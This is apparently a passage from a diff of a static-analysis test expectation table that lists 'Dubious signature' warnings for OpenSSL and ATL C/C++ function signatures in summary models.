| +| Dubious signature "(BIO *,TS_TST_INFO *)" in summary model. | +| Dubious signature "(BIO *,TS_TST_INFO **)" in summary model. | +| Dubious signature "(BIO *,X509 *)" in summary model. | +| Dubious signature "(BIO *,X509 **)" in summary model. | +| Dubious signature "(BIO *,X509 **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509 *,stack_st_X509 *,EVP_PKEY *,unsigned int,stack_st_X509 *,const EVP_CIPHER *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,X509 *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509 *,unsigned long,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT *)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT **)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_ACERT *,unsigned long,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_CRL *)" in summary model. | +| Dubious signature "(BIO *,X509_CRL **)" in summary model. | +| Dubious signature "(BIO *,X509_CRL **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_CRL *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_EXTENSION *,unsigned long,int)" in summary model. | +| Dubious signature "(BIO *,X509_PUBKEY **)" in summary model. | +| Dubious signature "(BIO *,X509_PUBKEY **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_REQ *)" in summary model. | +| Dubious signature "(BIO *,X509_REQ **)" in summary model. | +| Dubious signature "(BIO *,X509_REQ **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,X509_REQ *,unsigned long,unsigned long)" in summary model. | +| Dubious signature "(BIO *,X509_SIG **)" in summary model. | +| Dubious signature "(BIO *,X509_SIG **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,char *)" in summary model. | +| Dubious signature "(BIO *,char **,char **,unsigned char **,long *)" in summary model. | +| Dubious signature "(BIO *,char **,char **,unsigned char **,long *,unsigned int)" in summary model. | +| Dubious signature "(BIO *,char *,int)" in summary model. | +| Dubious signature "(BIO *,const ASN1_STRING *,unsigned long)" in summary model. | +| Dubious signature "(BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const BIGNUM *,const char *,int,unsigned char *)" in summary model. | +| Dubious signature "(BIO *,const CMS_ContentInfo *)" in summary model. | +| Dubious signature "(BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const DH *)" in summary model. | +| Dubious signature "(BIO *,const DSA *)" in summary model. | +| Dubious signature "(BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const DSA *,int)" in summary model. | +| Dubious signature "(BIO *,const EC_GROUP *)" in summary model. | +| Dubious signature "(BIO *,const EC_KEY *)" in summary model. | +| Dubious signature "(BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,const NETSCAPE_CERT_SEQUENCE *)" in summary model. | +| Dubious signature "(BIO *,const PKCS7 *)" in summary model. | +| Dubious signature "(BIO *,const PKCS7 *,int,const ASN1_PCTX *)" in summary model. | +| Dubious signature "(BIO *,const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(BIO *,const PKCS12 *)" in summary model. | +| Dubious signature "(BIO *,const RSA *)" in summary model. | +| Dubious signature "(BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const RSA *,int)" in summary model. | +| Dubious signature "(BIO *,const SSL_SESSION *)" in summary model. | +| Dubious signature "(BIO *,const X509 *)" in summary model. | +| Dubious signature "(BIO *,const X509_ACERT *)" in summary model. | +| Dubious signature "(BIO *,const X509_CRL *)" in summary model. | +| Dubious signature "(BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,const X509_NAME *,int,unsigned long)" in summary model. | +| Dubious signature "(BIO *,const X509_PUBKEY *)" in summary model. | +| Dubious signature "(BIO *,const X509_REQ *)" in summary model. | +| Dubious signature "(BIO *,const X509_SIG *)" in summary model. | +| Dubious signature "(BIO *,const char *,OCSP_REQUEST *)" in summary model. | +| Dubious signature "(BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)" in summary model. | +| Dubious signature "(BIO *,const char *,const OCSP_REQUEST *,int)" in summary model. | +| Dubious signature "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)" in summary model. | +| Dubious signature "(BIO *,const char *,const stack_st_X509_EXTENSION *,unsigned long,int)" in summary model. | +| Dubious signature "(BIO *,const char *,int,int,int)" in summary model. | +| Dubious signature "(BIO *,const char *,va_list)" in summary model. | +| Dubious signature "(BIO *,const stack_st_X509_EXTENSION *)" in summary model. | +| Dubious signature "(BIO *,const unsigned char *,long,int)" in summary model. | +| Dubious signature "(BIO *,const unsigned char *,long,int,int)" in summary model. | +| Dubious signature "(BIO *,int *)" in summary model. | +| Dubious signature "(BIO *,int)" in summary model. | +| Dubious signature "(BIO *,int,BIO **,CMS_ContentInfo **)" in summary model. | +| Dubious signature "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,int,const ASN1_TYPE *,int)" in summary model. | +| Dubious signature "(BIO *,int,const char *,int,long,long)" in summary model. | +| Dubious signature "(BIO *,int,const char *,size_t,int,long,int,size_t *)" in summary model. | +| Dubious signature "(BIO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,size_t,..(*)(..),void *)" in summary model. | +| Dubious signature "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(BIO *,stack_st_X509_INFO *,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(BIO *,void *)" in summary model. | +| Dubious signature "(BIO *,void *,int,int)" in summary model. | +| Dubious signature "(BIO *,void *,size_t,size_t *)" in summary model. | +| Dubious signature "(BIO_ADDR *)" in summary model. | +| Dubious signature "(BIO_ADDR *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(BIO_ADDR *,const sockaddr *)" in summary model. | +| Dubious signature "(BIO_ADDR *,int,const void *,size_t,unsigned short)" in summary model. | +| Dubious signature "(BIO_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(BIO_MSG *,BIO_MSG *)" in summary model. | +| Dubious signature "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)" in summary model. | +| Dubious signature "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)" in summary model. | +| Dubious signature "(BLAKE2B_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(BLAKE2B_PARAM *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(BLAKE2B_PARAM *,uint8_t)" in summary model. | +| Dubious signature "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)" in summary model. | +| Dubious signature "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)" in summary model. | +| Dubious signature "(BLAKE2S_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(BLAKE2S_PARAM *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(BLAKE2S_PARAM *,uint8_t)" in summary model. | +| Dubious signature "(BN_BLINDING *,BN_CTX *)" in summary model. | +| Dubious signature "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BN_BLINDING *,unsigned long)" in summary model. | +| Dubious signature "(BN_CTX *)" in summary model. | +| Dubious signature "(BN_CTX *,BN_MONT_CTX *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BIGNUM *,int *)" in summary model. | +| Dubious signature "(BN_CTX *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(BN_CTX *,const DSA *,const BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(BN_CTX *,const FFC_PARAMS *,int,int,BIGNUM *)" in summary model. | +| Dubious signature "(BN_GENCB *)" in summary model. | +| Dubious signature "(BN_GENCB *,..(*)(..),void *)" in summary model. | +| Dubious signature "(BN_GENCB *,EVP_PKEY_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX **,CRYPTO_RWLOCK *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX *,BN_MONT_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)" in summary model. | +| Dubious signature "(BN_RECP_CTX *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(BUF_MEM *,size_t)" in summary model. | +| Dubious signature "(CA_DB *,time_t *)" in summary model. | | Dubious signature "(CAtlFile &)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,const unsigned char *,unsigned char *,size_t,ccm128_f)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(CCM128_CONTEXT *,unsigned int,unsigned int,void *,block128_f)" in summary model. | | Dubious signature "(CComBSTR &&)" in summary model. | +| Dubious signature "(CERT *)" in summary model. | +| Dubious signature "(CERT *,..(*)(..),void *)" in summary model. | +| Dubious signature "(CERT *,X509 *)" in summary model. | +| Dubious signature "(CERT *,X509_STORE **,int)" in summary model. | +| Dubious signature "(CERT *,const int *,size_t,int)" in summary model. | +| Dubious signature "(CERT *,const uint16_t *,size_t,int)" in summary model. | +| Dubious signature "(CERTIFICATEPOLICIES *)" in summary model. | +| Dubious signature "(CERTIFICATEPOLICIES **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CMAC_CTX *)" in summary model. | +| Dubious signature "(CMAC_CTX *,const CMAC_CTX *)" in summary model. | +| Dubious signature "(CMAC_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *)" in summary model. | +| Dubious signature "(CMAC_CTX *,const void *,size_t,const EVP_CIPHER *,ENGINE *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(CMAC_CTX *,unsigned char *,size_t *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *)" in summary model. | +| Dubious signature "(CMS_ContentInfo **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,BIO *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,BIO *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,EVP_PKEY *,X509 *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,EVP_PKEY *,X509 *,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,EVP_PKEY *,X509 *,X509 *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *,EVP_PKEY *,X509 *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *,EVP_PKEY *,const EVP_MD *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509 *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,X509_CRL *)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,const unsigned char *,size_t,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,const unsigned char *,unsigned int,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,stack_st_X509 **)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,stack_st_X509 *,X509_STORE *,BIO *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(CMS_ContentInfo *,stack_st_X509_CRL **)" in summary model. | +| Dubious signature "(CMS_EncryptedContentInfo *,const EVP_CIPHER *,const unsigned char *,size_t,const CMS_CTX *)" in summary model. | +| Dubious signature "(CMS_EnvelopedData *)" in summary model. | +| Dubious signature "(CMS_EnvelopedData *,BIO *,EVP_PKEY *,X509 *,ASN1_OCTET_STRING *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(CMS_IssuerAndSerialNumber **,X509 *)" in summary model. | +| Dubious signature "(CMS_IssuerAndSerialNumber *,X509 *)" in summary model. | +| Dubious signature "(CMS_ReceiptRequest *)" in summary model. | +| Dubious signature "(CMS_ReceiptRequest **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CMS_ReceiptRequest *,ASN1_STRING **,int *,stack_st_GENERAL_NAMES **,stack_st_GENERAL_NAMES **)" in summary model. | +| Dubious signature "(CMS_RecipientEncryptedKey *,X509 *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *,X509 *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *,X509 *,EVP_PKEY *,X509 *,EVP_PKEY *,unsigned int,const CMS_CTX *)" in summary model. | +| Dubious signature "(CMS_RecipientInfo *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(CMS_SignedData *)" in summary model. | +| Dubious signature "(CMS_SignedData *,BIO *,stack_st_X509 *,X509_STORE *,stack_st_X509 *,stack_st_X509_CRL *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(CMS_SignerIdentifier *,ASN1_OCTET_STRING **,X509_NAME **,ASN1_INTEGER **)" in summary model. | +| Dubious signature "(CMS_SignerIdentifier *,X509 *)" in summary model. | +| Dubious signature "(CMS_SignerIdentifier *,X509 *,int,const CMS_CTX *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,BIO *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,CMS_ReceiptRequest *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,EVP_PKEY **,X509 **,X509_ALGOR **,X509_ALGOR **)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,X509 *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,X509 *,EVP_PKEY *,stack_st_X509 *,unsigned int)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,int)" in summary model. | +| Dubious signature "(CMS_SignerInfo *,stack_st_X509_ALGOR *)" in summary model. | +| Dubious signature "(COMP_CTX *,unsigned char *,int,unsigned char *,int)" in summary model. | +| Dubious signature "(COMP_METHOD *)" in summary model. | +| Dubious signature "(CONF *,CONF_VALUE *,CONF_VALUE *)" in summary model. | +| Dubious signature "(CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **)" in summary model. | +| Dubious signature "(CONF *,X509V3_CTX *,int,const char *)" in summary model. | +| Dubious signature "(CONF *,const char *)" in summary model. | +| Dubious signature "(CONF *,const char *,TS_serial_cb,TS_RESP_CTX *)" in summary model. | +| Dubious signature "(CONF *,const char *,X509_ACERT *)" in summary model. | +| Dubious signature "(CONF *,lhash_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(CONF_IMODULE *,unsigned long)" in summary model. | +| Dubious signature "(CONF_IMODULE *,void *)" in summary model. | +| Dubious signature "(CONF_MODULE *)" in summary model. | +| Dubious signature "(CONF_MODULE *,void *)" in summary model. | +| Dubious signature "(CRL_DIST_POINTS *)" in summary model. | +| Dubious signature "(CRL_DIST_POINTS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(CRYPTO_EX_DATA *,int,void *)" in summary model. | +| Dubious signature "(CRYPTO_RCU_LOCK *,rcu_cb_fn,void *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD *,CRYPTO_THREAD_RETVAL *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD_LOCAL *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD_LOCAL *,void *)" in summary model. | +| Dubious signature "(CRYPTO_THREAD_ROUTINE,void *,int)" in summary model. | | Dubious signature "(CRegKey &)" in summary model. | +| Dubious signature "(CTLOG **,const char *,const char *)" in summary model. | +| Dubious signature "(CTLOG **,const char *,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(CT_POLICY_EVAL_CTX *,CTLOG_STORE *)" in summary model. | +| Dubious signature "(CT_POLICY_EVAL_CTX *,X509 *)" in summary model. | +| Dubious signature "(CT_POLICY_EVAL_CTX *,uint64_t)" in summary model. | +| Dubious signature "(DES_LONG *,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *)" in summary model. | +| Dubious signature "(DES_cblock *)" in summary model. | +| Dubious signature "(DH *)" in summary model. | +| Dubious signature "(DH **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DH *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DH *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(DH *,const DH_METHOD *)" in summary model. | +| Dubious signature "(DH *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(DH *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(DH *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(DH *,int)" in summary model. | +| Dubious signature "(DH *,int,int,int,BN_GENCB *)" in summary model. | +| Dubious signature "(DH *,long)" in summary model. | +| Dubious signature "(DH_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(DH_METHOD *,const char *)" in summary model. | +| Dubious signature "(DH_METHOD *,int)" in summary model. | +| Dubious signature "(DH_METHOD *,void *)" in summary model. | +| Dubious signature "(DIST_POINT *)" in summary model. | +| Dubious signature "(DIST_POINT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DIST_POINT_NAME *)" in summary model. | +| Dubious signature "(DIST_POINT_NAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DIST_POINT_NAME *,const X509_NAME *)" in summary model. | +| Dubious signature "(DSA *)" in summary model. | +| Dubious signature "(DSA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DSA *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DSA *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(DSA *,const DSA_METHOD *)" in summary model. | +| Dubious signature "(DSA *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(DSA *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(DSA *,int)" in summary model. | +| Dubious signature "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)" in summary model. | +| Dubious signature "(DSA *,int,int,int,BN_GENCB *)" in summary model. | +| Dubious signature "(DSA_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(DSA_METHOD *,const char *)" in summary model. | +| Dubious signature "(DSA_METHOD *,int)" in summary model. | +| Dubious signature "(DSA_METHOD *,void *)" in summary model. | +| Dubious signature "(DSA_SIG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(DSA_SIG *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(DSO *)" in summary model. | +| Dubious signature "(DSO *,const char *)" in summary model. | +| Dubious signature "(DSO *,const char *,DSO_METHOD *,int)" in summary model. | +| Dubious signature "(DSO *,int,long,void *)" in summary model. | | Dubious signature "(DWORD &,LPCTSTR)" in summary model. | +| Dubious signature "(ECDSA_SIG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ECDSA_SIG *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(ECPARAMETERS *)" in summary model. | +| Dubious signature "(ECPKPARAMETERS *)" in summary model. | +| Dubious signature "(ECPKPARAMETERS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ECX_KEY *)" in summary model. | +| Dubious signature "(ECX_KEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ECX_KEY *,ECX_KEY *,size_t,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(ECX_KEY *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(ECX_KEY *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(EC_GROUP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EC_GROUP *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)" in summary model. | +| Dubious signature "(EC_GROUP *,const EC_GROUP *)" in summary model. | +| Dubious signature "(EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(EC_GROUP *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EC_GROUP *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EC_GROUP *,int)" in summary model. | +| Dubious signature "(EC_GROUP *,point_conversion_form_t)" in summary model. | +| Dubious signature "(EC_KEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EC_KEY *,BN_CTX *,BIGNUM **,BIGNUM **)" in summary model. | +| Dubious signature "(EC_KEY *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(EC_KEY *,const BIGNUM *)" in summary model. | +| Dubious signature "(EC_KEY *,const EC_GROUP *)" in summary model. | +| Dubious signature "(EC_KEY *,const EC_KEY *)" in summary model. | +| Dubious signature "(EC_KEY *,const EC_KEY_METHOD *)" in summary model. | +| Dubious signature "(EC_KEY *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EC_KEY *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(EC_KEY *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(EC_KEY *,const unsigned char *,size_t,BN_CTX *)" in summary model. | +| Dubious signature "(EC_KEY *,int)" in summary model. | +| Dubious signature "(EC_KEY *,point_conversion_form_t)" in summary model. | +| Dubious signature "(EC_KEY *,unsigned int)" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(EC_POINT *,const EC_POINT *)" in summary model. | +| Dubious signature "(EC_PRE_COMP *)" in summary model. | +| Dubious signature "(EC_PRIVATEKEY *)" in summary model. | +| Dubious signature "(EC_PRIVATEKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EDIPARTYNAME *)" in summary model. | +| Dubious signature "(EDIPARTYNAME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ENGINE *)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_CIPHERS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_CTRL_FUNC_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_DIGESTS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_DYNAMIC_ID,int)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_GEN_INT_FUNC_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_LOAD_KEY_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_PKEY_ASN1_METHS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_PKEY_METHS_PTR)" in summary model. | +| Dubious signature "(ENGINE *,ENGINE_SSL_CLIENT_CERT_PTR)" in summary model. | +| Dubious signature "(ENGINE *,const DH_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const DSA_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const EC_KEY_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const ENGINE_CMD_DEFN *)" in summary model. | +| Dubious signature "(ENGINE *,const RAND_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const RSA_METHOD *)" in summary model. | +| Dubious signature "(ENGINE *,const char *)" in summary model. | +| Dubious signature "(ENGINE *,const char *,const char *)" in summary model. | +| Dubious signature "(ENGINE *,const char *,const char *,int)" in summary model. | +| Dubious signature "(ENGINE *,const char *,long,void *,..(*)(..),int)" in summary model. | +| Dubious signature "(ENGINE *,int)" in summary model. | +| Dubious signature "(ENGINE *,int,long,void *,..(*)(..))" in summary model. | +| Dubious signature "(ENGINE_TABLE **)" in summary model. | +| Dubious signature "(ENGINE_TABLE **,ENGINE *)" in summary model. | +| Dubious signature "(ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int)" in summary model. | +| Dubious signature "(ENGINE_TABLE **,int,const char *,int)" in summary model. | +| Dubious signature "(ESS_CERT_ID *)" in summary model. | +| Dubious signature "(ESS_CERT_ID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_CERT_ID_V2 *)" in summary model. | +| Dubious signature "(ESS_CERT_ID_V2 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(ESS_ISSUER_SERIAL **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT *)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT_V2 *)" in summary model. | +| Dubious signature "(ESS_SIGNING_CERT_V2 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(EVP_CIPHER *,..(*)(..))" in summary model. | +| Dubious signature "(EVP_CIPHER *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER *,unsigned long)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,X509_ALGOR **)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,int,const unsigned char *,EVP_PKEY *)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(EVP_CIPHER_CTX *,const EVP_CIPHER *,unsigned char **,int *,unsigned char *,EVP_PKEY **,int)" in summary model. | +| Dubious signature 